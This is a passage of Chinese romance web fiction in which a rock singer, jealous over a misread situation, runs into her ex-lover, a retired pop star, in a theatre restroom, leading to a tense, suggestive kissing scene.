想到这里,杜语蓉更心绞痛了,她倒也想认认真真规划一下啊,可那也得对面那人肯听啊?再说了…… 她从牙缝中挤出字句:“你就这样巴巴的赶过去,一分钱没要?” 对面的柳听颂点了点头,居然连个解释都没有。 “哎哟哎哟,”杜语蓉后靠向椅背,捂着心口,心疼得直叫唤。 这下好了,钱一分没拿着,黑锅倒背上了,这二老板干不了几年就要变罗锅了。 恰好这时,门外有员工敲门而入,开口就道:“杜姐,杨导又打来电话了。” 杜语蓉表情变了又变,憋着一口气让下属,找个借口说她不在。 不消想就知道这杨导为何而来,他最近正在筹备一档以歌手同台竞技、全程直播投票为卖点的音综,邀请选手全是有知名代表作的实力唱将,节目还没有开始拍摄,就已经有许多人在关注,甚至连希望谁参加的非官方投票都进行了好几轮。 见柳听颂回国,这音综的邀请自然也递到她这儿,只是杜语蓉故意拖着,想以自家艺人回国后第一档综艺为筹码,多为柳听颂争取一些利益。 这样的事情无可厚非,在娱乐圈里多的是,不仅不会被骂,还会被夸,经纪人此刻不主动,难不成要粉丝冲上去,帮忙撕番位? 与其到时候闹得沸沸扬扬,折了路人缘,还不如现在就商量好。 镜头、番位,甚至涉及到后面的剪辑,如果不努力争取,那上这个音综做什么,去当别人的陪衬吗? 只是可现在好了,这个回国第一次的筹码没了,之前还说考虑一下、然后两三天没联系的杨导,现在又兴冲冲地贴上来了,一早上打了三四个电话。 想到此处,杜语蓉揉了揉眉心。 柳听颂并非愚钝顽固的人,见状,也是缓下声音来,说:“这些日子我惹出不少麻烦,多亏了你帮我处理。” 杜语蓉看她摆出态度,些许未察觉的不悦也随之散去。 “那个音综、”柳听颂停顿了下才道:“可以去试试看。” 话到此处,杜语蓉终于笑起来,迟迟未定下的原因,还有柳听颂态度模糊、一直未给准确答复的缘故,眼下终于能定下,她也松了口气。 她当即保证道:“你放心,节目组那边我都会打点好的,你只管安心进去,好好准备唱歌就好。” 两人相视一笑,之前的事情就这样掀过,但…… 柳听颂话音一转,又道:“但是阿风那边,我、你知道……” 她的话语停顿,眼眸中既带着歉意,又带着些许清寂,转而变得坚定,当即道:“只要是关于她的事情,我都无法控制。” 杜语蓉脸上的笑意淡去,转为无奈,轻轻叹了口气说:“你这是何必呢,也不知道你上辈子欠了她多少,” 话还没有说完就被打断,柳听颂出声道:“是我欠她的。” “是我、”她眼帘垂落,浓睫在眼睑留下淡淡灰影,虽在日光下,却没有因此多添一丝暖意,依旧是那样,像是湖畔上不可触及的雾霭,透着股无落脚处的飘忽感。 但当视线下移,又瞧见她唇上未愈合的口,小小一个,却在最明显处,愣是将天上的月亮拽向人间…… 杜语蓉看得烦躁,用力摆了摆手就道:“行行行,我不管你了,你想怎么折腾就怎么折腾吧。” 柳听颂露出一丝浅淡至极的笑意。 话题到此结束,继而就是一些寻常寒暄。 直到杜语蓉随意拿起手机,习惯性瞥了一眼,当即就被屏幕弹出的消息给定住。 “怎么了?”柳听颂看出不对。 杜语蓉僵硬抬起脑袋,眨了眨眼,有一种被震撼后的呆愣,好半天才道:“你那位又上热搜了。” 柳听颂眉头一皱,之前的淡然自若消失不见,急忙解开手机一看。 倒不是因为之前直播的事情,是方才有狗仔爆出她出入医院的视频,表示暗示她是特地挑这段人少的时间赶来,且停留极长时间,并留下含糊不清的结尾,引得大家往别的地方想。 而摇滚这个圈子,本就爆出过许多腌臜事,众人一联想,便觉得许风扰也和他们一样。 但许风扰没有像之前一样沉默,在一个小时后就登上大号,发了一条微博。 简单四个大字——关你屁事。 并配上之前从医院出来时,提着的袋子图片,塑料袋里头的药被照得清清楚楚,甚至连病例单都拍了,明晃晃写着风寒感冒四个字。 虽是去找发小,但毕竟是公立医院,该走的程序都走了,只是趁着午间没排队而已。 而关于祛痣修复的药,许风扰在拍照时就提前取出,不想让旁人知道那么多。 如此回应后,谣言不攻而破,毕竟在前两天的直播里,大家都亲眼瞧见许风扰病恹恹地坐在一边,时不时就咳嗽几下,还有那袋子,确实是偷拍视频里她提着的那个。 许风扰的粉丝顿时愤怒之极,齐刷刷冲到那个狗仔的v博下刷屏大骂。 最后那狗仔只得删了视频,在v博上和许风扰道了歉。《 》 20、第二十章 思来想去,最后一张音乐剧的票还是没舍得浪费。 键盘手要带娃,况野有约,最后还是把楚澄拽出来,美其名曰:找找灵感写歌。 楚澄抱着脑袋哀嚎半天,她听不得绕来绕去又不知道什么意思的法语,每次都把它当催眠音乐听,可胳膊拧不过大腿,最后还是心不甘情不愿的跟来。 未开场的剧场有些吵闹,不知道为什么会有人废尽力气抢票,然后带个五六岁、什么也听不懂的小孩过来,她们最快乐的时间估计就在此刻,三两聚在一起后,利用一排排椅子玩躲猫猫,笑声环绕在剧场,其中夹杂着大人间的客套声。 许风扰和楚澄戴着鸭舌帽和口罩,极力掩饰面容。 可鸭舌帽遮掩不住的脑后,一个露出一截红毛,一个露出一截白毛,再加之特别的体型差,实在醒目得很,幸好两人摆出拒于千里之外的态度——从坐下后就没有说过话,楚澄低着头犯困,许风扰盯着前面发呆。 就连嬉闹的小孩都不敢往她们前面跑,更别说其余人。 剧场的灯光暗了些,昭告着音乐剧即将开场,周围终于安静了一点,大人将孩子抱回原位,小声警告。 许风扰揉了揉耳朵,终于松了口气。 楚澄则睁开眼,僵硬的身体终于放松了些。 看得出来,两个人都被折磨得不轻,比起尖锐的小孩音,她们还是宁愿忍受况野的震耳鼓声。 楚澄脑袋当即一歪,没骨头似的往许风扰身上靠,恹恹道:“我等会要点一百串烧烤。” 这是之前就商量好的,等音乐剧结束,她们就去撸串,许风扰请,许风扰付钱。 许风扰点了点头,知道对方心里不舒服,倒也没像以前一样将人推开。 她抬眼望去,还有人在进行最后的布景。 送礼的那人确实废了好大的力气,给她们抢到了前六排最中间的过道位置,这也是许风扰舍不得空着的原因之一,这个风水宝地既不会因为声音过大影响感受,又能清晰瞧见表演,若是有演员跑下来互动,她们也最有几率接触的。 楚澄闹腾了几下,见对方毫无反应后就直起身子,没办法,那么大一个高个愣是硬折着腰,强行靠在许风扰身上,不腰酸背痛才怪。 但是…… 她抬手,大力搓了搓脖子,嘀咕道:“是不是空调开太低了,怎么感觉凉嗖嗖的。” 许风扰没理她,只当对方在闹腾。 楚澄只好自己转身,往后面看了眼。 可惜此刻已陷入一片漆黑中,什么也看不见。 “怎么回事啊……”她小声疑惑。 可下一秒许风扰就用手肘碰了碰她,提醒她要开始了。 与此同时,后排又亮起闪光灯,连着数十下后,才在旁边人的眼神注视下,讪讪收手。 前面的人不曾注意,只当有人不懂规矩,趁此刻无保安看守,偷偷拍照。 再等片刻,舞台灯光亮起。 许风扰挺直脊背,全心投入其中。 而稍后两排、隔着过道的位置,柳听颂视线再一次转过来。 她比许风扰更早得到票,本次音乐剧的主演之一,是她在国外结交的好友之一,虽是有意托人相识,但两人很聊得来,这次能来s市演出,柳听颂从中出了不少力,作为感谢,剧组提前给她留了票。 但说实话,这场音乐剧她已在国外看过很多次,本不打算前来,可又心存侥幸地想,许风扰可能会过来。 自从那日后,两人再也没有见过面,好像那晚的一切都没有发生,毫无作用的交谈过后,许风扰照样抵触、拒绝,柳听颂依旧无法接近,只在中间通一次电话,确定柳听颂的脚腕无碍后就挂断,丝毫不留情。 但柳听颂事先并不知对方会坐哪里,只是许风扰和楚澄那一白一红实在太过显眼,都没废什么力气找寻,眼睛环绕一周,就瞧见那边的红毛与白毛贴在一起。 视线垂落,那边的楚澄刚好转头看过来,总觉得奇怪,好像一直有视线瞥向她们,所以不断往后探寻。 至于许风扰,平常或许还算敏锐,可现在完全沉浸其中,只是抬手搓了搓手臂,将不知为何冒起的鸡皮疙瘩搓下去。 楚澄见她看得认真,就没有再出声询问。 一个半小时转瞬而逝,继而便到中场休息的时刻。 随着白炽灯亮起,观众好似恍然惊醒,窸窸窣窣的说话声逐渐变大,有惊叹、感慨,有大忙人匆匆接通电话,还有急忙往厕所赶的人。 柳听颂也跟随人群站起,却走向不同方向。 后台依旧嘈杂,找服装的、换衣服的、重新改妆容的,喧闹声不比观众席安静多少。 柳听颂轻车熟路往里头走,其余人显然对她十分熟悉,忙里抽空还要和她打声招呼,并添上一句:“卡米耶在里面。” 柳听颂一一回应,直到找到对方。 那是一个金发碧眼的白人女性,头发被卷成波浪,化着过分艳丽的妆容,还没有靠近就先闻到了浓郁的脂粉香。 她在剧里演绎一个公爵的情人,和主角发生纠葛后,被愤怒的公爵用窗帘勒死,所以她的剧情中止在上半场,无需担忧打扰到她。 见到柳听颂,她露出惊喜表情,当即快步走过来,抬手将给了对方一个拥抱。 “亲爱的,你终于来了,我真的好想你。” 柳听颂明显不大适应这样的热情,稍稍退后一步,无奈提醒道:“我们上个月还见过面,卡米耶。” 卡米耶才不管那么多,觉得华国人就是这样害羞又内敛,笑眯眯就道:“柳,你应该学会表达自己的感受。” 另一人无可奈何,不是没有解释过,只是对方对华国的印象根深蒂固,即便说了几次,也只当柳听颂在害羞,所以懒得再提。 不过她提前过来,可不是为了这事。 她脸上带着歉意,道:“很抱歉卡米耶,等演出结束后我可能不能陪你出门逛逛了。” 听到这话,卡米耶顿时露出失望表情。 她前两天就和柳听颂约好,今天演出过后,柳听颂要带她去吃一些当地的特色美食,顺便聊聊天。 不过都是成年人,她很快就收起失望,道:“是有什么事情吗?” “嗯,”柳听颂没有解释,只道:“你今天的演出很棒,我特地定了花,准备结束后再送给你,只是现在……” 她抬手看了下表,说:“他现在才到门口,或许我们可以边走边聊聊天,再拿到你的花。” 卡米耶眼睛一亮,比小孩还好哄,情绪来的快也去的快,当即就笑着同意。 另一边,许风扰赶在最后十分钟才起身,一方面怕被认出来,徒添麻烦,再一方面是不大喜欢旁人挤在一块,所以在即将要开场前,才慢吞吞走向厕所。 但出乎她意料的是,厕所依旧拥挤,因场中大多数都是大人领着孩子过来,小孩哪里听得懂这些东西,上半场的时间里都在吃父母准备的零食,现在倒好,一个二个往厕所里跑。 许风扰皱了皱眉,当即脚步一转,快步往另一处走。 她对这儿还算熟悉,以前也来过几次,知道有一处因离后台较近,但因离观众席太远,所以较为人少的厕所。 怕耽搁演出,许风扰动作极快,风似得遛进去,片刻就站在洗手台前,可还没有来得及打开水龙头,就听见熟悉的声音响起。 她身体一僵,直挺挺站在原地。《 》 20-30 第21章 我是你的,一直是 外面的人不曾察觉, 交谈依旧。 镜子前的人不知该如何是好,之前遮掩面容的口罩已被摘下,被鸭舌帽压住的发丝散乱, 半掩眉眼, 只能瞧见抿紧的唇,就连下颌线都变得凌厉。 思来想去, 最后做出的决定是继续站在原地,偷偷藏在裏头,不想被柳听颂发现。 不知道她们在说什么, 许风扰不懂法语。 之所以能听懂剧裏臺词, 是因她曾反复回看, 甚至将每一首歌加入喜爱列表,然后反复循环, 所以臺上人一开口, 她就知道对方要说什么。 但即便不懂, 她也听得出两人语气裏的亲昵, 连一向矜雅清冷的柳听颂都轻笑出声, 还有那几个勉强能听懂的词彙。 亲爱的…… 许风扰抬起眼, 与镜子的人对视, 复杂情绪浮现在碧色眼眸,显得有些阴沉。 理解法国人的夸张,喜欢将这样的亲昵词彙挂在嘴边,但又明白柳听颂的性格,很少会与旁人那么亲近,更别说允许对方叫什么亲爱的。 所以对方是谁? 国外交的朋友? 是参演这场音乐剧的演员? 又或者…… 思绪翻来覆去, 一个个疑问涌出,最后彙聚成烦闷至极的恼怒感受。 但这些和她有什么关系 她们早就没有任何关系了, 自柳听颂出国之后,对方做了什么,都与自己无关,早就打定主意划清界限,完全把对方当做陌生人看待了,不是吗? 许风扰垂下眼帘,抬手碰了下水龙头的感应器。 发白的水柱瞬间涌出,她双手捧起一汪,直接往脸上拍。 不知是不是故意的,力度格外的大,水花“嘭”一下溅起,覆着厚茧的手用力往脸上搓。 外头的人似有所感,声音停顿一瞬。 许风扰松开手,往旁边一扯,拿粗糙纸巾胡乱一抹。 再看镜裏,她肤色本就白,些许痕迹都格外明显,更何况现在,脸颊鼻梁都泛起红,也不知是不是水溅进了眼睛,就连眼眶周围都泛起绯色,湿漉漉的发丝滴下水,刚好落在眼尾,顺着轮廓滑落。 莫名可怜。 像是被丢在街头的小狼。 许风扰定定看了一眼,抬手将帽檐压得更低。 再看一眼时间,剧场即将开场。 许风扰不耐烦再等。 一个陌生人罢了,凭什么将她堵在这裏。 她转身就走,脚步带飞似的,随着起落发出呼呼风声。 人即将走到门口,帽檐将视线压低,只能看到下半空间,高跟鞋与达芙妮平底鞋的鞋尖相抵,很是亲密的距离,许风扰下意识抬了抬头,视线落在被她们抱在怀中的花束上。 本能反应比惯性更快,像是脑子裏拉起了警报,还没有迈出的腿一下子缩回来,侧身就往拐角的墙边躲。 大有破坏别人好事的心虚感。 她身体贴上了瓷砖墙壁,那点不合时宜的洁癖又冒了出来,将情绪拉扯得更加糟糕。 走还是继续躲着 当看见亮起的手机屏幕,显示出已经超过一分钟的时间时,情绪掉落到了最低点。 好烦。 可脑子裏却不见消停,像是那根弦紧绷至断裂,画面失控似的,一帧帧疯狂涌现。 那个和柳听颂贴在一块的女人。 玫红色的蓬松裙摆,绸缎褶边层层往上,繁琐华丽的蕾丝花纹,是十八世纪最流行的泡芙袖长裙。 在这场音乐剧裏,只有一个人会这样打扮。 饰演贵族情人的那位。 她是许风扰在剧裏头最喜欢的角色,觉得对方像一朵半边盛开半边枯萎的艳丽玫瑰,从金丝笼中探出的枝叶,是在淫逸浪荡谣言下,所做的最过分举动。 她爱主角吗 或许她更爱金丝笼外的风。 许风扰曾无数次为她惋惜。 想起对方抱在怀裏的花束,不得不说柳听颂很会挑,如果是她的话,她也做出同样的选择。 那是一种名叫黑魔术的玫瑰,色彩深红至近乎黑色,肆意展开的花瓣片片都带着厚厚的丝绒感,少了寻常玫瑰的轻佻,更多的是腐朽奢华感。 冰冷瓷砖硌着弯曲脊骨,最凸出的骨头给予最真实疼痛。 烦躁。 情绪不受控制地崩坏。 许风扰下意识摸了摸口袋,却没有熟悉的烟盒,或许在这段时间裏,她应多买几盒揣着。 可是思绪一转,她又自顾自恼怒。 凭什么 凭什么柳听颂出国,她就染上这个坏毛病,好不容易断了,又要因为对方再继续。 她都有女朋友了,就在一墙之隔的地方,最可恨的还是自己喜欢的角色,自己好不容易才见到的人,现在却被柳听颂抱在怀裏! 可恨! 可恶! 明明已经拥有那么好的人,却还要与自己纠缠不清,天底下哪有那么便宜的事情,朱砂痣也要,已经被甩在墙上的白米粒也要,装模作样地要挽回,沉浸在她自以为深情的表演裏,不知给旁人造成了多少麻烦。 许风扰咬紧了牙,垂落在身侧的手紧握成拳,在掌心留下月白的痕迹。 外头没了动静,不知在做什么,许是被堵住了唇舌,没了说话的机会,又或者是在深情对视,用眼眸表达依依不舍的感情。 许风扰烦得要死,早知道就和那群爱尖叫的小孩挤一挤。 ——嗡嗡。 被放回口袋的手机震动响起,许风扰顿时一激灵,脊背挺直又重重摔向墙,生出剧烈的疼,可她没时间喊疼,急急忙忙就去掏手机。 这事也怪柳听颂,要不是因为之前的静音,让她打错电话,她也不会纠结半天,最后换成震动。 亮起的屏幕写着橘子两字,应是楚澄见她迟迟未归,打来电话催促。 许风扰来不及解释,大拇指一滑,直接挂断。 可这都来不及了,空旷空间将一切声音都放大,哪怕是一点点震动声。 外头的人早就注意到裏面有人,却只当普通观众,直到各种声音接连响起,却不见人走出来,才生出不解。 脚步声在靠近,许风扰本能想躲。 可裏头就这一点空间,连洗手臺下面都是封死的,躲向隔间又来不及。 脚步声逐渐接近。 许风扰紧紧贴着瓷砖,每一处的骨头都硌得慌,躲藏不了就生出侥幸,她觉得柳听颂会帮她遮掩,装作裏头有一个普通又社恐的观众,见到偶像不敢走出来。 毕竟谁也不想经历新欢、旧爱同在周围的修罗场吧,再说了,与其两者都失去,还不如抛开已经玩腻的旧爱,保全尚有新鲜感的新欢,聪明人都会这样选择,不是吗? 杂乱思绪交织,直到柳听颂出现在她面前。 就好像逃亡的囚犯落了网,有一种破罐子破摔的随意。 她依旧站在那裏,脊背微微弯曲,腿也跟着斜斜往前,一条搭着一条,可惜现在没有烟,不然往嘴裏一叼,完全是个躲在厕所抽烟的混混。 她想明白了,现在该担忧慌乱的是柳听颂,而不是她这个态度坚决、极力划出界限的旧爱。 凭什么要她躲? 本来就该让她柳听颂自个焦急,想方设法编出谎话,哄骗新欢后,还得胆战心惊地怕许风扰揭穿她。 本就该这样。 许风扰勾了勾嘴角,突然十分坦然,抬眼瞧着来人。 柳听颂瞧见她时,果然十分惊讶,露出诧异眼神。 许风扰双手抱在胸前,许是因为对方慌乱的表情,她甚至觉得自己拥有了主动权,施施然站在那裏,眉梢一挑就道:“怎么了柳老师?” 熟悉的称谓又一次出现。 柳听颂微微皱了下眉,问:“你怎么在这裏?” 演出已经开始,按理说许风扰早该坐回位置上,毕竟许风扰很喜欢这部音乐剧,在之前她望向许风扰时,瞧见她沉浸其中的模样,就连犯困的楚澄倒在她肩膀,她都没有理会,所以她不应该错过半点内容,不应该在这个时候出现在这裏。 可话落在许风扰耳边,却成了对方担忧自己被撞见的心虚。 她挑了挑眉,反问道:“我为什么不能出现在这裏?” 过分漫不经心的语气就会显得讥讽。 柳听颂察觉到不对,下意识就道:“抱歉,我以为你现在该在剧场裏了。” 这个“以为”让许风扰生出疑心,不禁问道:“你早就知道我过来了?” 那点被压下去的怒气又一次涌出,完全忘记自己的票是旁人给的,转牛角尖地觉得柳听颂在查自己,她本就最讨厌这样的行为,也因此和不少狗仔交恶,现在又一次出现。 她咬紧牙,眼眸更加阴翳。 她怎么不知道柳听颂喜欢玩这套要在同一个剧场裏,背着前任,和现任耳鬓厮磨 真刺激啊,柳听颂。 柳听颂不知她在想什么,只怕许风扰误会,连忙上前一步,解释道:“我刚刚在剧场裏看见你了。” 许风扰杵在对面,不知道听没听进去解释,表情没有缓和半点。 “我刚刚去见了一个朋友。” 朋友 许风扰露出些许不耐的神色。 “她是这场音乐剧的主角之一,如果你也喜欢这部剧的话,我想你应该会想见见她” 听起来像在炫耀,既然没办法挽回,干脆就选择放弃,拉着现女友来和她炫耀了吗? 许风扰知道自己现在的想法很偏激,对方每说一句都会被她恶意揣测,像是全身的刺都支棱起来,没有伤害到对方,反而一次次往自己这儿扎。 随着柳听颂无意识的接近,两个人的距离越来越短,许风扰甚至可以闻见淡淡的脂粉香,不是柳听颂惯用那几个味道,更像是…… “不见,”许风扰冷声冒出这两个字,字句裏掺了冰碴子,冻得人生寒。 柳听颂察觉到些许不对,可还没有来得及开口,许风扰就佯装看了下手机,说:“演出开始了,我要走了。” 话毕,她起身就要往外走,甩手间,直接被另一人拽住,脚步骤然顿住。 “你怎么了?” 挤压的情绪如同火药桶,在这句话后彻底点燃。 许风扰猛的转身,喝道:“你到底想怎么样?!” 强压的语气掩盖不了怒意,许风扰眸光森冷。 “想让我走的是你,不想让我走的还是你。” 她边说边往前,束在她手腕的手不曾松开,脚步跟随许风扰退后。 柳听颂今天穿得温婉,杏白色锻料长裙,外披同色披肩,没有大多繁琐花纹,只有裙摆处特意设计出来层层褶皱,看似简单,实际却很难驾驭的搭配,却正正好将她曲线勾勒,衬得矜雅又温柔。 披肩下的锁骨随着走动若隐若现,银制耳坠也跟着晃,作为遮掩的帽子不知去哪裏了,只剩下挽在一侧的青丝。 许风扰余光瞥见镜中,一进一退的两人,一个恬雅柔顺,一个穿着黑色短袖,头戴同色鸭舌帽,露出的些许白发写满叛逆,哪裏像是同一个世界的人 倒更像是哪处的小混混偷遛进场馆,将贵小姐堵在厕所裏,冷着脸恐吓勒索。 “阿风……”那人轻声喊道,但只换来对方的步步逼近,直到将她抵在洗手臺。 可镜子裏的图像并没有好上半点,因许风扰比柳听颂高半个头的缘故,就连骨架都稍宽些,映在镜子裏画面,不仅有柳听颂被压得曲折的背影,还有未能彻底遮掩完的许风扰。 几乎密不可分的距离,让难言的违和感更强,总觉得外头那位穿着宫廷裙的漂亮女人,才更适合此刻的画面,更…… 与柳听颂相配。 “我要走你不准,现在倒害怕起来了?”许风扰微微低头看着她,冷眸微微眯起,像在打量又像警告。 “老师,”她咬重字句,强调道:“你到底想做什么?” 从上往下滑落的视线带着探寻,又停留在对方未愈合的唇边,那处被自己咬开的伤口,很是显眼。 “想在厕所偷情”她反问道。 “原来你喜欢那么刺激的东西吗?”她勾起唇角,笑意不及眼底。 “所以是我之前太过无趣,才让你忍不住逃离吗?”许风扰恶意揣测。 “不是、你怎么会……”柳听颂一惊,当即脱口而出。 话还没有说完就被打断,许风扰抬手,掀过裙摆,骨节分明的手掐在她大腿侧,厚茧过分粗糙,刺痛中又泛起难言的痒,将剩下的话都堵住。 过分恶劣的行为,也没让许风扰生出半点心虚,甚至还在得寸进尺地往上。 可即便如此,却没有人生出一点违和,反倒觉得她就该是这样的。 若还是之前那副对着柳听颂一退再退、寡言又木讷的尖锐模样,又怎么会将那群狗仔逼得跳脚,让观众两极分化,一面爱她要死,一面又极力排斥她呢 只有现在这幅嚣张又恶劣模样,才像是她原本的面目。 “你、别……” 柳听颂的视线往出口处瞥,之前大胆的人,现在反倒成为警惕担忧的那位。 可许风扰并不在意,她的风评本就一般,不在意更差一点。 往上攀爬的指尖触碰到其他布料,没有往前,倒不是理智终于回归,更像是故意挑逗,勾着那边缘的裏外试探。 柳听颂被她逼得越发往后,踮起脚往洗手臺上坐,就连右手都往后,杵在臺面上,纤细腰肢越发曲折。 “阿风……”熟悉的称呼响起,柔和的声音像是央求 许风扰突然笑起:“现在知道怕了?” “你不是喜欢刺激吗” “怕什么?” 她停顿了下,语气越发讽刺,一字一顿道:“是怕谁进来吗?” 她意有所指,另一个人却以为她说的是其他人,所以连解释都不对。 “我只是怕你被人瞧见,到时候被挂在V博,也少不了一场风波。” 什么风波 当红乐队主唱知三当三吗 威胁这两个字在脑后浮现,将怒火越烧越旺,可更过分的举动没有发生,就被轻轻柔柔的嘆息声吸引。 那人柔和了眉眼,只说了句:“你到底在气什么啊?” 没有责怪没有埋怨,就那么轻飘飘的一句,像情人被欺负惨后的一句小小嗔怪。 许风扰还没有来得及怒斥,那人就仰头贴上她唇角,同时间,那杵在臺面的手也抬起,双臂勾在她脖颈,这是个很危险的姿势。 因被迫的缘故,柳听颂其实坐不到那么多臺面,说是坐还不如说撑在那裏,只要踮起的脚尖稍颤,就会跌摔的危险。 可她仍将唯一能支撑住自己的右手松开,完完全全将自己交于许风扰掌控。 但凡对方用力一推…… 柔软的唇瓣贴上唇角,并不像之前那么着急,一点点轻蹭,像讨好又想安抚,丝丝缕缕的清雾参入薄唇纹理中,带着丝丝水果糖的味道。 柳听颂哑着声音,耐心诱导:“是什么让你那么生气” “告诉我好不好?” 之前留下的伤口还有一块小疤,在每次抿夹时,都会触碰到另一人的唇,带来不一样的感受。 被布料覆盖的手不曾松开,无意识地掐紧,陷在过分细腻的软肉中,周围都泛起红意。 随着往下,是被拉扯往上的裙摆,本该遮到脚踝的裙子,现在露出一截小腿,在绷紧后露出些许流畅线条。 压在脖颈的手指,故意在骨节处一压,许风扰被迫低头,嘴唇被压紧。 那人没有趁机闯入,反而仰了仰头,鼻尖与鼻尖触碰,本就没戴多掩饰的鸭舌帽被顶开,掉落在地方,发出“嘭”的一声响声。 现在,她们都没有了任何遮掩。 在喧嚣热闹的剧场中,当红乐队主唱和隐退多年的乐坛天后,躲在隐蔽的地方接吻,一墙之隔还有一个捧着花的“现任对象”。 这串句子在许风扰脑海中浮现,可下一秒又落入温柔的海中,灵魂发出舒服的喟嘆,这是一种难以言说的本能依恋。 旧爱这个词彙,不仅仅代表着曾经的过往,还一笔一笔刻画着曾经的契合,像是第一次冬眠的小熊,费尽心思为自己打造出的温暖巢xue,每一处都经过最精心的磨合敲打,填满晒过太阳的棉花,再搬来最好吃的浆果。 即便最后因为各种原因而失去了它,可若是有一日再次重逢,你已经变作成熟而强壮的大熊,但当你躺入其中时,还是觉得温和又舒适,是你最最喜欢的巢xue。 它记得你的每一个小习惯,完全将你包容。 呼吸交替,许风扰绷紧脊背,想要逃离却被定在原地。 对方并不着急往裏,在似有若无的轻掠,一点点将薄唇涂抹,染上盈盈水光。 许风扰视线偏移一瞬,恰好瞧见镜中。 女人纤薄的背影,被发丝半遮半掩的蝴蝶骨,不堪一握的脆弱腰肢,紧绷至颤抖。 以前她就觉得柳听颂的背很漂亮,总是喜欢在这裏留下许多印记。 “阿风……”她轻声呢喃。 指尖不知何时更往上,指腹烫得厉害。 一半是理智在拉扯,另一半已经沉沦其中。 “气什么?”那人适时开口,发音时的颤动,震得许风扰嘴唇发痒,她终于想起反抗,像之前一样咬住对方的唇,之前的疤痕未好,现在又添新伤。 可柳听颂并没有在意,吃疼了也没喊一声,反倒越发温和地将她包裹。 盈盈水光落入眼眸,眼眸中的黑与白都不大真切,如同一汪清泉,柔软又朦胧。 尖锐的犬牙用力,又一次将薄皮咬破,淡淡铁锈味蔓延开。 柳听颂撬开她唇齿,将舌尖也送上。 不懂对方在生气什么,却愿意将自己送给对方洩愤。 指尖滑落,掌心捧起脸颊,大拇指在许风扰肌理上轻擦,哄小孩似的,诱着对方继续咬。 “宝宝……”少见的称谓出现,尾音无意识上挑。 覆在大腿的手一下子收紧,碧水眼眸的瞳孔收缩。 两人都是相对内敛的人,亲昵的称呼很少,唯有在那事失控后,才能喊出些许不一样的称呼。 可是现在…… 在诧异中,许风扰失去了全部主动权,呼吸被掠夺,唇间口中都被占领,染上独属于柳听颂的味道。 许风扰突然心慌,生出莫名的恐惧,腿往后撤,试图拉开些许距离。 可对方却紧随往前,将那点还没有存在多久的距离压缩至没有。 “柳、”许风扰后知后觉地抵抗,却连一句完整的话都说不出来。 那人闭上眼,好像故意如此,假装看不见许风扰的慌乱,又好像沉浸其中,让人分辨不出。 外头突然有脚步声响起,好几人聊着天路过。 许风扰骤然紧绷,抬手拽住对方手腕,扯下脸颊,试图掌握主动权。 可那人却依旧,不曾受到半点影响。 声音越来越近,感觉是音乐剧的演员。 音乐剧已经结束了 她们待在这裏多久了 问题在脑海裏盘旋,没有得出答案就被另一个事情压住。 不能被看见。 许风扰没有想过,几个演出结束后就离开的外国演员,恐怕连她是谁都不知道,又会有什么影响,若她的猜想正确的话,该慌张的应该是柳听颂,那可是她“现任”的同事。 不管这事对或错,都下意识将对方护住。 许风扰急忙拽起对方,往最偏僻隔间走,在这些人踏入其中时,被打开的门已轻轻锁紧。 ——咔嚓。 另一人没有阻拦,任由对方拖拽,直到躲入其中时,才稍稍拽了下许风扰,让她压在自己身上。 许风扰心跳如雷,直到躲进裏头时,才稍稍放松些许,根本无法理会对方要做什么。 那些人果真进来了,用听不懂的语言互相打趣,轰然大笑。 许风扰抿紧唇,依旧没有缓和半点。 更狭窄的空间,让她更加难受。 她表情出现了很明显的恍惚。 有一瞬间的迷茫,不明白自己在做什么,明明反复将柳听颂推开,却越来越近,甚至可以一起躲在那么狭窄的空间中,有一种莫名的厌恶涌上来,其中掺杂着参与他人感情的背德感。 外面的人在说什么 她完全听不懂,只能扭曲理解为她们在打趣柳听颂探班女朋友的事。 对,那位为什么没有进来 她还在外面等着吗? 抱着那束花。 柳听颂刚刚是用了什么借口,才能进来那么长时间。 她的帽子! 许风扰突然一激灵,想到刚刚掉落在地的帽子,她慌张转身,想要开门出去。 可另一人却先一步拽住她,抬手压住她的脑袋,往自己肩颈埋。 “唔,” 许风扰发出一声低低闷哼。 明明是比对方更身高腿长的大高个,却低着头弯着腰,被对方禁锢在怀裏,薄布料透出凸出的骨节,画面有点滑稽,但柳听颂没有松开半点,反而抬手捂住对方的耳朵。 她是知道许风扰那点洁癖的。 不同于旁人,许风扰这毛病更像是心理作用,可以吃路边摊、可以大大咧咧坐在路边、甚至可以和旁人肆无忌惮地粘在一块,与正常人没有差别。 可当情绪有所起伏,她就会犯起洁癖,一天可以洗三遍澡,把手洗到发红发皱,觉得身上的每一颗痣都碍眼,发疯似的想要去掉,拿着湿巾把周围能看见的东西全部擦拭一遍,说是洁癖,更像是焦虑。 如同现在,甚至连她自个都没有意识到,只将问题归结于环境、帽子的时候,柳听颂就先一步察觉。 许风扰埋在对方肩颈,视线被掠夺,听觉被阻断,鼻间是对方的味道,那点沾染的脂粉香早已消散不见,只余下不知如何形容的清冷香气,将烦躁情绪缓和些许。 那人不曾说什么,就这样静静抱着许风扰。 心跳声趋于和缓,代表思考的机器齿轮发出“咔”的一声,缓慢运转。 手臂慢吞吞抬起,想要回抱住对方,可还没有触碰到柳听颂的侧腰,又僵硬止住,紧握成拳后垂落身侧。 外头又响起嘈杂的声音,逐渐消失在远处。 捂在耳朵的手松开,穿过发丝,覆在后脑勺,一次又一次轻抚。 两人依旧没有说话。 柳听颂是担忧,而许风扰则是逃避。 不知该怎么面对,没办法想出一个合适的解决办法,对旁人尚且可以果断又利落。 但在柳听颂这裏,剪不乱理还乱,一刀砍下又粘出更多丝线。 她甚至冒出极其可耻的念头,想就让这段关系像这样维持下去,柳听颂继续和那人恋爱,她可以做对方的秘密情人,既然害怕被再一次抛弃,那从一开始就没有任何紧密的联系,把它放在钢索之上,永远危险就等于安全。 你真恶心啊,许风扰。 连这种恶心的念头都能冒出来。 她扯了扯嘴角,没有再选择逃避,当即推开对方,站直身子退后一步。 分隔出的距离有风涌入,将残余温度抹去。 许风扰等了一下,直到外头的声音彻底消失不见,她才转身推开门。 不再理会身后人,视线所及处多了几摊水迹,许风扰没有理会,径直走向洗手臺。 水声响起,继而是大力搓洗的声音,手可没嗓子那么脆弱,哪怕洗到脱皮,过几天也会愈合。 之前打湿的发丝还没有干,湿淋淋地* 贴在额头,眼眶周围更红了,可能是没有及时处理的缘故,有些感染,透着股可怜兮兮的感觉。 不过许风扰没有那么在意。 身后的人走了过来,将她的鸭舌帽捡起。 想来也是她多虑,哪有人会在意一个被丢在地上的帽子,又不是什么贵重物件,甚至连捡起、放一边都懒得。 